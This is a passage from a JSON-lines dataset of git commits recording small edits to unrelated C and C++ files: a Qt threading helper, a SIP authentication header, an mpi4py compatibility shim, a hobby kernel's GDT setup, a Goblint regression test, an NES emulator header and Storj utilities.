la-b2g\/external_skia,nox\/skia,timduru\/platform-external-skia,MonkeyZZZZ\/platform_external_skia,HalCanary\/skia-hc,BrokenROM\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,MinimalOS\/android_external_skia,ench0\/external_skia,VRToxin-AOSP\/android_external_skia,MonkeyZZZZ\/platform_external_skia,xzzz9097\/android_external_skia,aosp-mirror\/platform_external_skia,Pure-Aosp\/android_external_skia,larsbergstrom\/skia,geekboxzone\/mmallow_external_skia,Fusion-Rom\/android_external_skia,nox\/skia,Jichao\/skia,aosp-mirror\/platform_external_skia,AOSPU\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,xzzz9097\/android_external_skia,sudosurootdev\/external_skia,qrealka\/skia-hc,Asteroid-Project\/android_external_skia,Purity-Lollipop\/platform_external_skia,BrokenROM\/external_skia,InfinitiveOS\/external_skia,codeaurora-unoffical\/platform-external-skia,zhaochengw\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,temasek\/android_external_skia,invisiblek\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,Plain-Andy\/android_platform_external_skia,houst0nn\/external_skia,OptiPop\/external_chromium_org_third_party_skia,houst0nn\/external_skia,AsteroidOS\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,rubenvb\/skia,timduru\/platform-external-skia,nvoron23\/skia,mydongistiny\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,FusionSP\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,AOSPB\/external_skia,timduru\/platform-external-skia,xin3liang\/platform_external_chromium_org_third_party_skia,GladeRom\/android_external_skia,Igalia\/skia,F-AOSP\/platform_external_skia,AsteroidOS\/android_external_skia,houst0nn\/external_skia,nfxosp\/platform_external_skia,TeslaOS\/android_external_skia,OptiPop\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,AOSPU\/external_chromium_org_third_party_skia,pacerom\/external_skia,BrokenROM\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,Khaon\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,MarshedOut\/android_external_skia,larsbergstrom\/skia,rubenvb\/skia,vanish87\/skia,InfinitiveOS\/external_skia,UBERMALLOW\/external_skia,byterom\/android_external_skia,TeslaOS\/android_external_skia,TeamEOS\/external_skia,UBERMALLOW\/external_skia,AOSP-YU\/platform_external_skia,AOSP-YU\/platform_external_skia,SlimSaber\/android_external_skia,Pure-Aosp\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,larsbergstrom\/skia,google\/skia,Asteroid-Project\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,AsteroidOS\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,HalCanary\/skia-hc,F-AOSP\/platform_external_skia,UBERMALLOW\/external_skia,MarshedOut\/android_external_skia,ominux\/skia,codeaurora-unoffical\/platform-external-skia,xzzz9097\/android_external_skia,FusionSP\/android_external_skia,OptiPop\/external_skia,mydongistiny\/android_external_skia,TeslaProject\/external_skia,houst0nn\/external_skia,sombree\/android_external_skia,rubenvb\/skia,geekboxzone\/lollipop_external_skia,MIPS\/external-chromium_org-third_party-skia,jtg-gg\/skia,sudosurootdev\/external_skia,ench0\/external_skia,aosp-mirror\/platform_external_skia,Omegaphora\/external_skia,YUPlayGodDev\/platform_external_skia,mydongistiny\/android_external_skia,VentureROM-L\/android_external_skia,TeamTwisted\/external_skia,UBERMALLOW\/external_skia,NamelessRom\/android_external_skia,xzzz9097\/android_external_skia,boulzordev\/android_external_skia,rubenvb\/skia,MinimalOS\/android_external_skia,codeaurora-unoffical\/platform-external-skia,OptiPop\/external_skia,OneRom\/external_skia,temasek\/android_external_skia,TeamTwisted\/external_skia,qrealka\/skia-hc,FusionSP\/android_external_skia,google\/skia,aosp-mirror\/platform_external_skia,Fusion-Rom\/android_external_skia,mmatyas\/skia,zhaochengw\/platform_external_skia,nfxosp\/platform_external_skia,mozilla-b2g\/external_skia,Khaon\/android_external_skia,Khaon\/android_external_skia,ominux\/skia,rubenvb\/skia,amyvmiwei\/skia,UBERMALLOW\/external_skia,OptiPop\/external_chromium_org_third_party_skia,ench0\/external_chromium_org_third_party_skia,Hybrid-Rom\/external_skia,AsteroidOS\/android_external_skia,AOSPB\/external_skia,MarshedOut\/android_external_skia,spezi77\/android_external_skia,todotodoo\/skia,GladeRom\/android_external_skia,pcwalton\/skia,OneRom\/external_skia,nvoron23\/skia,nfxosp\/platform_external_skia,Purity-Lollipop\/platform_external_skia,ctiao\/platform-external-skia,spezi77\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,qrealka\/skia-hc,tmpvar\/skia.cc,tmpvar\/skia.cc,noselhq\/skia,akiss77\/skia,jtg-gg\/skia,w3nd1go\/android_external_skia,houst0nn\/external_skia,w3nd1go\/android_external_skia,MinimalOS\/android_external_skia,wildermason\/external_skia,VRToxin-AOSP\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,zhaochengw\/platform_external_skia,Tesla-Redux\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,shahrzadmn\/skia,OptiPop\/external_skia,MinimalOS\/android_external_skia,Jichao\/skia,pacerom\/external_skia,spezi77\/android_external_skia,chenlian2015\/skia_from_google,pcwalton\/skia,vanish87\/skia,TeamExodus\/external_skia,Omegaphora\/external_skia,TeslaProject\/external_skia,AOSPA-L\/android_external_skia,RadonX-ROM\/external_skia,todotodoo\/skia,nvoron23\/skia,ench0\/external_skia,aosp-mirror\/platform_external_skia,OptiPop\/external_skia,MinimalOS\/external_skia,Jichao\/skia,DiamondLovesYou\/skia-sys,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,xzzz9097\/android_external_skia,AsteroidOS\/android_external_skia,aospo\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,Hybrid-Rom\/external_skia,Fusion-Rom\/android_external_skia,Jichao\/skia,nvoron23\/skia,Euphoria-OS-Legacy\/android_external_skia,ench0\/external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,vvuk\/skia,aospo\/platform_external_skia,houst0nn\/external_skia,Plain-Andy\/android_platform_external_skia,MinimalOS\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,AOSPB\/external_skia,OptiPop\/external_skia,OneRom\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,samuelig\/skia,TeamBliss-LP\/android_external_skia,scroggo\/skia,sombree\/android_external_skia,aospo\/platform_external_skia,akiss77\/skia,Samsung\/skia,tmpvar\/skia.cc,Android-AOSP\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,DARKPOP\/external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,RadonX-ROM\/external_skia,SlimSaber\/android_external_skia,Samsung\/skia,TeslaOS\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,samuelig\/skia,noselhq\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,sudosurootdev\/external_skia,android-ia\/platform_external_skia,Tesla-Redux\/android_external_skia,zhaochengw\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,samuelig\/skia,mydongistiny\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,invisiblek\/android_external_skia,vanish87\/skia,sudosurootdev\/external_skia,MarshedOut\/android_external_skia,MonkeyZZZZ\/platform_external_skia,ench0\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,boulzordev\/android_external_skia,scroggo\/skia,Omegaphora\/external_chromium_org_third_party_skia,google\/skia,nfxosp\/platform_external_skia,boulzordev\/android_external_skia,Infinitive-OS\/platform_external_skia,sigysmund\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,amyvmiwei\/skia,aosp-mirror\/platform_external_skia,byterom\/android_external_skia,wildermason\/external_skia,Omegaphora\/external_skia,sigysmund\/platform_external_skia,TeslaOS\/android_external_skia,nfxosp\/platform_external_skia,Purity-Lollipop\/platform_external_skia,tmpvar\/skia.cc,temasek\/android_external_skia,sudosurootdev\/external_skia,sigysmund\/platform_external_skia,byterom\/android_external_skia,amyvmiwei\/skia,timduru\/platform-external-skia,HalCanary\/skia-hc,suyouxin\/android_external_skia,ench0\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,Hybrid-Rom\/external_skia,Jichao\/skia,wildermason\/external_skia,Khaon\/android_external_skia,FusionSP\/android_external_skia,scroggo\/skia,OptiPop\/external_chromium_org_third_party_skia,Igalia\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,ench0\/external_chromium_org_third_party_skia,Igalia\/skia,geekboxzone\/lollipop_external_skia,AOSPA-L\/android_external_skia,Samsung\/skia,nvoron23\/skia,TeamEOS\/external_skia,suyouxin\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,aospo\/platform_external_skia,SlimSaber\/android_external_skia,Pure-Aosp\/android_external_skia,mydongistiny\/android_external_skia,MinimalOS\/external_skia,HealthyHoney\/temasek_SKIA,aosp-mirror\/platform_external_skia,xzzz9097\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,pcwalton\/skia,TeamBliss-LP\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,zhaochengw\/platform_external_skia,MyAOSP\/external_chromium_org_third_party_skia,ctiao\/platform-external-skia,MinimalOS\/external_skia,MinimalOS-AOSP\/platform_external_skia,GladeRom\/android_external_skia,MonkeyZZZZ\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,ominux\/skia,VRToxin-AOSP\/android_external_skia,Asteroid-Project\/android_external_skia,w3nd1go\/android_external_skia,MarshedOut\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,mozilla-b2g\/external_skia,ench0\/external_skia,AOSP-YU\/platform_external_skia,rubenvb\/skia,ctiao\/platform-external-skia,larsbergstrom\/skia,sigysmund\/platform_external_skia,PAC-ROM\/android_external_skia,HalCanary\/skia-hc,nox\/skia,TeamTwisted\/external_skia,akiss77\/skia,android-ia\/platform_external_skia,vanish87\/skia,nvoron23\/skia,MyAOSP\/external_chromium_org_third_party_skia,scroggo\/skia,YUPlayGodDev\/platform_external_skia,chenlian2015\/skia_from_google,qrealka\/skia-hc,xin3liang\/platform_external_chromium_org_third_party_skia,TeslaOS\/android_external_skia,Infusion-OS\/android_external_skia,android-ia\/platform_external_skia,chenlian2015\/skia_from_google,Infinitive-OS\/platform_external_skia,GladeRom\/android_external_skia,VRToxin-AOSP\/android_external_skia,HealthyHoney\/temasek_SKIA,tmpvar\/skia.cc,invisiblek\/android_external_skia,shahrzadmn\/skia,noselhq\/skia,amyvmiwei\/skia,Asteroid-Project\/android_external_skia,Infusion-OS\/android_external_skia,ctiao\/platform-external-skia,sombree\/android_external_skia,zhaochengw\/platform_external_skia,boulzordev\/android_external_skia,ench0\/external_skia,pcwalton\/skia,Samsung\/skia,chenlian2015\/skia_from_google,HalCanary\/skia-hc,noselhq\/skia,Purity-Lollipop\/platform_external_skia,byterom\/android_external_skia"}
{"commit":"349ac725570cd5913fcc967e7f9abdc3a81ee6e9","old_file":"priv\/qcmainthreadrunner.h","new_file":"priv\/qcmainthreadrunner.h","old_contents":"#ifndef QCMAINTHREADRUNNER_H\n#define QCMAINTHREADRUNNER_H\n\n#include <QObject>\n#include <QVariant>\n#include <QEVent>\n#include <QCoreApplication>\n\nclass QCMainThreadRunner\n{\n\npublic:\n\n    \/\/\/ Run a function on main thread. If it is already in main thread, it will be executed in next tick.\n    template <typename F>\n    static void start(F func) {\n        QObject tmp;\n        QObject::connect(&tmp, &QObject::destroyed, QCoreApplication::instance(), std::move(func), Qt::QueuedConnection);\n    }\n\n    \/\/\/ Run a function with custom data on main thread. If it is already in main thread, it will be executed in next tick.\n    template <typename F,typename P1>\n    static void start(F func,P1 p1) {\n        auto wrapper = [=]() -> void{\n            func(p1);\n        };\n\n        QObject tmp;\n        QObject::connect(&tmp, &QObject::destroyed, QCoreApplication::instance(), std::move(wrapper), Qt::QueuedConnection);\n    }\n\n    template <typename F,typename P1, typename P2>\n    static void start(F func,P1 p1, P2 p2) {\n        auto wrapper = [=]() -> void{\n            func(p1, p2);\n        };\n\n        QObject tmp;\n        QObject::connect(&tmp, &QObject::destroyed, QCoreApplication::instance(), std::move(wrapper), Qt::QueuedConnection);\n    }\n};\n\n#endif \/\/ QCMAINTHREADRUNNER_H\n","new_contents":"#ifndef QCMAINTHREADRUNNER_H\n#define QCMAINTHREADRUNNER_H\n\n#include <QObject>\n#include <QCoreApplication>\n\nclass QCMainThreadRunner\n{\n\npublic:\n\n    \/\/\/ Run a function on main thread. If it is already in main thread, it will be executed in next tick.\n    template <typename F>\n    static void start(F func) {\n        QObject tmp;\n        QObject::connect(&tmp, &QObject::destroyed, QCoreApplication::instance(), std::move(func), Qt::QueuedConnection);\n    }\n\n    \/\/\/ Run a function with custom data on main thread. If it is already in main thread, it will be executed in next tick.\n    template <typename F,typename P1>\n    static void start(F func,P1 p1) {\n        auto wrapper = [=]() -> void{\n            func(p1);\n        };\n\n        QObject tmp;\n        QObject::connect(&tmp, &QObject::destroyed, QCoreApplication::instance(), std::move(wrapper), Qt::QueuedConnection);\n    }\n\n    template <typename F,typename P1, typename P2>\n    static void start(F func,P1 p1, P2 p2) {\n        auto wrapper = [=]() -> void{\n            func(p1, p2);\n        };\n\n        QObject tmp;\n        QObject::connect(&tmp, &QObject::destroyed, QCoreApplication::instance(), std::move(wrapper), Qt::QueuedConnection);\n    }\n};\n\n#endif \/\/ QCMAINTHREADRUNNER_H\n","subject":"Fix build issue for Linux","message":"Fix build issue for Linux\n","lang":"C","license":"apache-2.0","repos":"benlau\/quickcross,benlau\/quickcross,benlau\/quickcross"}
{"commit":"ad7d535ac60d0d3a2e43c72a5c9c41efd62fedb1","old_file":"tests\/test_collisions.h","new_file":"tests\/test_collisions.h","old_contents":"#ifndef TEST_COLLISIONS_H\n#define TEST_COLLISIONS_H\n\n#include <kaztest\/kaztest.h>\n\n#include \"spindash\/spindash.h\"\n#include \"spindash\/collision\/collide.h\"\n#include \"spindash\/collision\/ray_box.h\"\n\nconst SDVec2 box_points[] = {\n    { -5, -5 },\n    { 5, -5 },\n    { 5, 0 },\n    { -5, 0 }\n};\n\nclass CollisionGeomTest : public TestCase {\npublic:\n    void test_ray_box_floor_sensors() {\n        RayBox ray_box(nullptr, 0.5f, 1.0f);\n        ray_box.set_position(0, 0.5);\n\n        Box floor(nullptr, 10.0f, 1.0f);\n        floor.set_position(0, -0.5);\n\n        std::vector<Collision> collisions = collide(&ray_box, &floor);\n\n        assert_equal(2, collisions.size());\n        assert_equal('A', collisions[0].a_ray);\n        assert_equal('B', collisions[1].a_ray);\n        assert_equal(0.0, collisions[0].point.y);\n        assert_equal(0.0, collisions[1].point.y);\n    }\n\nprivate:\n\n};\n\n#endif \/\/ TEST_COLLISIONS_H\n","new_contents":"#ifndef TEST_COLLISIONS_H\n#define TEST_COLLISIONS_H\n\n#include <kaztest\/kaztest.h>\n\n#include \"spindash\/spindash.h\"\n#include \"spindash\/collision\/collide.h\"\n#include \"spindash\/collision\/ray_box.h\"\n#include \"spindash\/collision\/box.h\"\n\nconst SDVec2 box_points[] = {\n    { -5, -5 },\n    { 5, -5 },\n    { 5, 0 },\n    { -5, 0 }\n};\n\nclass CollisionGeomTest : public TestCase {\npublic:\n    void test_ray_box_floor_sensors() {\n        RayBox ray_box(nullptr, 0.5f, 1.0f);\n        ray_box.set_position(0, 0.5);\n\n        Box floor(nullptr, 10.0f, 1.0f);\n        floor.set_position(0, -0.5);\n\n        std::vector<Collision> collisions = collide(&ray_box, &floor);\n\n        assert_equal(2, collisions.size());\n        assert_equal('A', collisions[0].a_ray);\n        assert_equal('B', collisions[1].a_ray);\n        assert_equal(0.0, collisions[0].point.y);\n        assert_equal(0.0, collisions[1].point.y);\n    }\n\nprivate:\n\n};\n\n#endif \/\/ TEST_COLLISIONS_H\n","subject":"Add a missing header from one of the tests","message":"Add a missing header from one of the tests\n","lang":"C","license":"bsd-2-clause","repos":"Kazade\/Spindash"}
{"commit":"235b1753f48c8a22cb79e3115b637f179c3e1e8b","old_file":"src\/initiation\/transport\/sipauthentication.h","new_file":"src\/initiation\/transport\/sipauthentication.h","old_contents":"#pragma once\n\n#include \"initiation\/sipmessageprocessor.h\"\n\n#include \"initiation\/siptypes.h\"\n\n\/* This class handles the authentication for this connection\n * should we receive a challenge *\/\n\nclass SIPAuthentication : public SIPMessageProcessor\n{\n  Q_OBJECT\npublic:\n  SIPAuthentication();\n\npublic slots:\n\n  \/\/ add credentials to request, if we have them\n  virtual void processOutgoingRequest(SIPRequest& request, QVariant& content);\n\n  \/\/ take challenge if they require authentication\n  virtual void processIncomingResponse(SIPResponse& response, QVariant& content);\n\nprivate:\n\n  DigestResponse generateAuthResponse(DigestChallenge& challenge, QString username,\n                                      SIP_URI& requestURI, SIPRequestMethod method,\n                                      QVariant& content);\n\n  void updateNonceCount(DigestChallenge& challenge, DigestResponse& response);\n\n  \/\/ TODO: Test if these need to be separate\n\n  QList<DigestChallenge> wwwChallenges_;\n  QList<DigestChallenge> proxyChallenges_;\n\n  QList<DigestResponse> authorizations_;\n  QList<DigestResponse> proxyAuthorizations_;\n\n  \/\/ key is realm and value current nonce\n  std::map<QString, QString> realmToNonce_;\n  std::map<QString, uint32_t> realmToNonceCount_;\n\n  QByteArray a1_;\n};\n","new_contents":"#pragma once\n\n#include \"initiation\/sipmessageprocessor.h\"\n\n#include \"initiation\/siptypes.h\"\n\n\/* This class handles the authentication for this connection\n * should we receive a challenge *\/\n\nclass SIPAuthentication : public SIPMessageProcessor\n{\n  Q_OBJECT\npublic:\n  SIPAuthentication();\n\npublic slots:\n\n  \/\/ add credentials to request, if we have them\n  virtual void processOutgoingRequest(SIPRequest& request, QVariant& content);\n\n  \/\/ take challenge if they require authentication\n  virtual void processIncomingResponse(SIPResponse& response, QVariant& content);\n\nprivate:\n\n  DigestResponse generateAuthResponse(DigestChallenge& challenge, QString username,\n                                      SIP_URI& requestURI, SIPRequestMethod method,\n                                      QVariant& content);\n\n  void updateNonceCount(DigestChallenge& challenge, DigestResponse& response);\n\n  QList<DigestChallenge> wwwChallenges_;\n  QList<DigestChallenge> proxyChallenges_;\n\n  QList<DigestResponse> authorizations_;\n  QList<DigestResponse> proxyAuthorizations_;\n\n  \/\/ key is realm and value current nonce\n  std::map<QString, QString> realmToNonce_;\n  std::map<QString, uint32_t> realmToNonceCount_;\n\n  QByteArray a1_;\n};\n","subject":"Remove TODO. Tested common credentials, didn't work.","message":"cosmetic(Transport): Remove TODO. Tested common credentials, didn't work.\n","lang":"C","license":"isc","repos":"ultravideo\/kvazzup,ultravideo\/kvazzup"}
{"commit":"553faa1fcfc6a119959a66371ea355899dd8efd8","old_file":"src\/compat\/deinompi.h","new_file":"src\/compat\/deinompi.h","old_contents":"#ifndef PyMPI_COMPAT_DEINOMPI_H\n#define PyMPI_COMPAT_DEINOMPI_H\n\n\/* ---------------------------------------------------------------- *\/\n\nstatic int    PyMPI_DEINOMPI_argc    = 0;\nstatic char **PyMPI_DEINOMPI_argv    = 0;\nstatic char  *PyMPI_DEINOMPI_args[2] = {0, 0};\n\nstatic void PyMPI_DEINOMPI_FixArgs(int **argc, char ****argv)\n{\n  if ((argc[0]==(int *)0) || (argv[0]==(char ***)0)) {\n#ifdef Py_PYTHON_H\n#if PY_MAJOR_VERSION >= 3\n    PyMPI_DEINOMPI_args[0] = (char *) \"python\";\n#else\n    PyMPI_DEINOMPI_args[0] = Py_GetProgramName();\n#endif\n    PyMPI_DEINOMPI_argc = 1;\n#endif\n    PyMPI_DEINOMPI_argv = PyMPI_DEINOMPI_args;\n    argc[0] = &PyMPI_DEINOMPI_argc;\n    argv[0] = &PyMPI_DEINOMPI_argv;\n  }\n}\n\nstatic int PyMPI_DEINOMPI_MPI_Init(int *argc, char ***argv)\n{\n  PyMPI_DEINOMPI_FixArgs(&argc, &argv);\n  return MPI_Init(argc, argv);\n}\n#undef  MPI_Init\n#define MPI_Init PyMPI_DEINOMPI_MPI_Init\n\nstatic int PyMPI_DEINOMPI_MPI_Init_thread(int *argc, char ***argv,\n                                          int required, int *provided)\n{\n  PyMPI_DEINOMPI_FixArgs(&argc, &argv);\n  return MPI_Init_thread(argc, argv, required, provided);\n}\n#undef  MPI_Init_thread\n#define MPI_Init_thread PyMPI_DEINOMPI_MPI_Init_thread\n\n\/* ---------------------------------------------------------------- *\/\n\n#endif \/* !PyMPI_COMPAT_DEINOMPI_H *\/\n","new_contents":"#ifndef PyMPI_COMPAT_DEINOMPI_H\n#define PyMPI_COMPAT_DEINOMPI_H\n\n\n#endif \/* !PyMPI_COMPAT_DEINOMPI_H *\/\n","subject":"Remove hackery for DeinoMPI, release 1.1.0 seems to work just fine","message":"Remove hackery for DeinoMPI, release 1.1.0 seems to work just fine","lang":"C","license":"bsd-2-clause","repos":"pressel\/mpi4py,mpi4py\/mpi4py,pressel\/mpi4py,mpi4py\/mpi4py,mpi4py\/mpi4py,pressel\/mpi4py,pressel\/mpi4py"}
{"commit":"e1d06bc471406e8e4e63cd9cba33c50cce7db8c7","old_file":"src\/rocket\/rocket.c","new_file":"src\/rocket\/rocket.c","old_contents":"","new_contents":"\/*\n *   ASXSoft Nuke - Operating System\n *   Copyright (C) 2009  Patrick Pokatilo\n *\n *   This program is free software: you can redistribute it and\/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"stdint.h\"\n#include \"stddef.h\"\n#include \"gdt.h\"\n\nextern gdt_pointer_t gdt_pointer;\n\nvoid start_rocket_engine()\n{\n\tgdt_initialize();\n\tgdt_load();\n\tgdt_flush_registers(0x08, 0x18, 0x18, 0x00, 0x00, 0x18);\n\n\twhile(1);\n}\n","subject":"Set up GDT and load 32-Bit Segments","message":"Rocket: Set up GDT and load 32-Bit Segments\n\nSigned-off-by: Patrick Pokatilo <cdeca2a4be8a4e00f97216f8984b997a40d1b424@asxsoft.de>\n","lang":"C","license":"agpl-3.0","repos":"SHyx0rmZ\/kernel4,SHyx0rmZ\/kernel4,SHyx0rmZ\/kernel4"}
{"commit":"778fbd48981675b0a10383efe169e397153e81d6","old_file":"tests\/regression\/01-cpa\/72-library-function-pointer.c","new_file":"tests\/regression\/01-cpa\/72-library-function-pointer.c","old_contents":"#include <fcntl.h>\n#include <unistd.h>\n\ntypedef void (*fnct_ptr)(void);\ntypedef int (*open_t)(const char*,int,int);\ntypedef int (*ftruncate_t)(int,off_t);\n\n\/\/ Goblint used to crash on this example because the number of supplied arguments for myopen is bigger than\n\/\/ than the expected number of arguments for the library function descriptior of ftruncate.\n\/\/  -- \"open\" expects 3 arguments, while \"ftruncate\" expects only 2.\nint main(){\n    fnct_ptr ptr;\n    int top;\n\n    if (top){\n        ptr = &open;\n    } else {\n        ptr = &ftruncate;\n    }\n\n    if (top) {\n        \/\/ Some (nonsensical, but compiling) call to open\n        open_t myopen;\n        myopen = (open_t) ptr;\n        myopen(\"some\/path\", O_CREAT, 0);\n    } else {\n        \/\/ Some (nonsensical, but compiling) call to ftruncate\n        ftruncate_t myftruncate;\n        myftruncate = (ftruncate_t) ptr;\n        myftruncate(0, 100);\n    }\n    return 0;\n}\n","new_contents":"#include <fcntl.h>\n#include <unistd.h>\n\ntypedef void (*fnct_ptr)(void);\ntypedef int (*open_t)(const char*,int,...);\ntypedef int (*ftruncate_t)(int,off_t);\n\n\/\/ Goblint used to crash on this example because the number of supplied arguments for myopen is bigger than\n\/\/ than the expected number of arguments for the library function descriptior of ftruncate.\n\/\/  -- \"open\" expects 3 arguments, while \"ftruncate\" expects only 2.\nint main(){\n    fnct_ptr ptr;\n    int top, top2, top3;\n\n    if (top){\n        ptr = (fnct_ptr) &open;\n        ftruncate_t myftruncate;\n        myftruncate = (ftruncate_t) ptr;\n        myftruncate(0, 100); \/\/NOWARN\n    } else {\n        ptr = (fnct_ptr) &ftruncate;\n    }\n\n    if (top2) {\n        open_t myopen;\n        myopen = (open_t) ptr;\n        \/\/ Warn about possible call to ftruncate with wrong number of arguments\n        myopen(\"some\/path\", 0, 0); \/\/ WARN\n    } else if(top3) {\n        ftruncate_t myftruncate2;\n        myftruncate2 = (ftruncate_t) ptr;\n        off_t v = 100;\n        \/\/ We (currently) only warn about wrong number of args, not wrong type\n        \/\/ So no warning is emitted here about possibly calling the vararg function open.\n        myftruncate2(0, v);\n    } else {\n        \/\/ Warn about potential calls to open and ftruncate with too few arguments, \n        \/\/ and warn that none of the possible targets of the pointer fit as call targets.\n        ptr(); \/\/ WARN\n    }\n    return 0;\n}\n","subject":"Add WARN annotations and explanations to test, expand it with one case.","message":"Add WARN annotations and explanations to test, expand it with one case.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"92a488818e157ed14631b9b0467e102556b64242","old_file":"src\/Console.h","new_file":"src\/Console.h","old_contents":"#ifndef CONSOLE_H\n#define CONSOLE_H\n\n#include <Cart.h>\n#include <Controller.h>\n#include <CPU.h>\n#include <PPU.h>\n#include <APU.h>\n\nclass Divider {\npublic:\n    void setInterval(int interval) {\n\tthis->interval = interval;\n\tclockCounter = interval - 1;\n    }\n    void tick() {\n\tclockCounter++;\n\tif (clockCounter == interval) {\n\t    clockCounter = 0;\n\t}\n    }\n    bool hasClocked() {\n\treturn clockCounter == 0;\n    }\nprivate:\n    int interval;\n    int clockCounter;\n};\n\nclass Console {\npublic:\n  ~Console();\n  void boot();\n  void runForOneFrame();\n  uint32_t *getFrameBuffer();\n\n  Cart cart;\n  Controller controller1;\n\nprivate:\n  void tick();\n\n  CPU *cpu;\n  PPU *ppu;\n  APU apu;\n  Divider cpuDivider;\n};\n\n#endif\n","new_contents":"#ifndef CONSOLE_H\n#define CONSOLE_H\n\n#include <Cart.h>\n#include <Controller.h>\n#include <CPU.h>\n#include <PPU.h>\n#include <APU.h>\n\nclass Divider {\npublic:\n    Divider(int interval = 1) {\n\tsetInterval(interval);\n    }\n    void setInterval(int interval) {\n\tthis->interval = interval;\n\tclockCounter = interval - 1;\n    }\n    void tick() {\n\tclockCounter++;\n\tif (clockCounter == interval) {\n\t    clockCounter = 0;\n\t}\n    }\n    bool hasClocked() {\n\treturn clockCounter == 0;\n    }\n\nprivate:\n    int interval;\n    int clockCounter;\n};\n\nclass Console {\npublic:\n  ~Console();\n  void boot();\n  void runForOneFrame();\n  uint32_t *getFrameBuffer();\n\n  Cart cart;\n  Controller controller1;\n\nprivate:\n  void tick();\n\n  CPU *cpu;\n  PPU *ppu;\n  APU apu;\n  Divider cpuDivider;\n};\n\n#endif\n","subject":"Add divider constructor with interval default argument","message":"Add divider constructor with interval default argument\n","lang":"C","license":"mit","repos":"scottjcrouch\/ScootNES,scottjcrouch\/ScootNES,scottjcrouch\/ScootNES"}
{"commit":"76086d7eeb3e13f384c6b9bf84d3c30a3de246f9","old_file":"src\/utils.h","new_file":"src\/utils.h","old_contents":"\/**\n * @file utils.h\n * @brief Storj utilities.\n *\n * Helper utilities\n *\/\n#ifndef STORJ_UTILS_H\n#define STORJ_UTILS_H\n\n#include <assert.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <math.h>\n\n#ifdef _WIN32\n#include <windows.h>\n#else\n#include <sys\/time.h>\n#endif\n\nint hex2str(unsigned length, uint8_t *data, char *buffer);\n\nvoid print_int_array(uint8_t *array, unsigned length);\n\nint str2hex(unsigned length, char *data, uint8_t *buffer);\n\nvoid random_buffer(uint8_t *buf, size_t len);\n\nuint64_t shard_size(int hops);\n\nuint64_t get_time_milliseconds();\n\nvoid memset_zero(void *v, size_t n);\n\n#endif \/* STORJ_UTILS_H *\/\n","new_contents":"\/**\n * @file utils.h\n * @brief Storj utilities.\n *\n * Helper utilities\n *\/\n#ifndef STORJ_UTILS_H\n#define STORJ_UTILS_H\n\n#include <assert.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <math.h>\n\n#ifdef _WIN32\n#include <windows.h>\n#include <time.h>\n#else\n#include <sys\/time.h>\n#endif\n\nint hex2str(unsigned length, uint8_t *data, char *buffer);\n\nvoid print_int_array(uint8_t *array, unsigned length);\n\nint str2hex(unsigned length, char *data, uint8_t *buffer);\n\nvoid random_buffer(uint8_t *buf, size_t len);\n\nuint64_t shard_size(int hops);\n\nuint64_t get_time_milliseconds();\n\nvoid memset_zero(void *v, size_t n);\n\n#endif \/* STORJ_UTILS_H *\/\n","subject":"Fix implicit declaration of function ‘time’","message":"Fix implicit declaration of function ‘time’\n","lang":"C","license":"lgpl-2.1","repos":"braydonf\/libstorj,Storj\/libstorj-c,aleitner\/libstorj-c,braydonf\/libstorj-c,aleitner\/libstorj-c,Storj\/libstorj-c,braydonf\/libstorj-c,braydonf\/libstorj"}
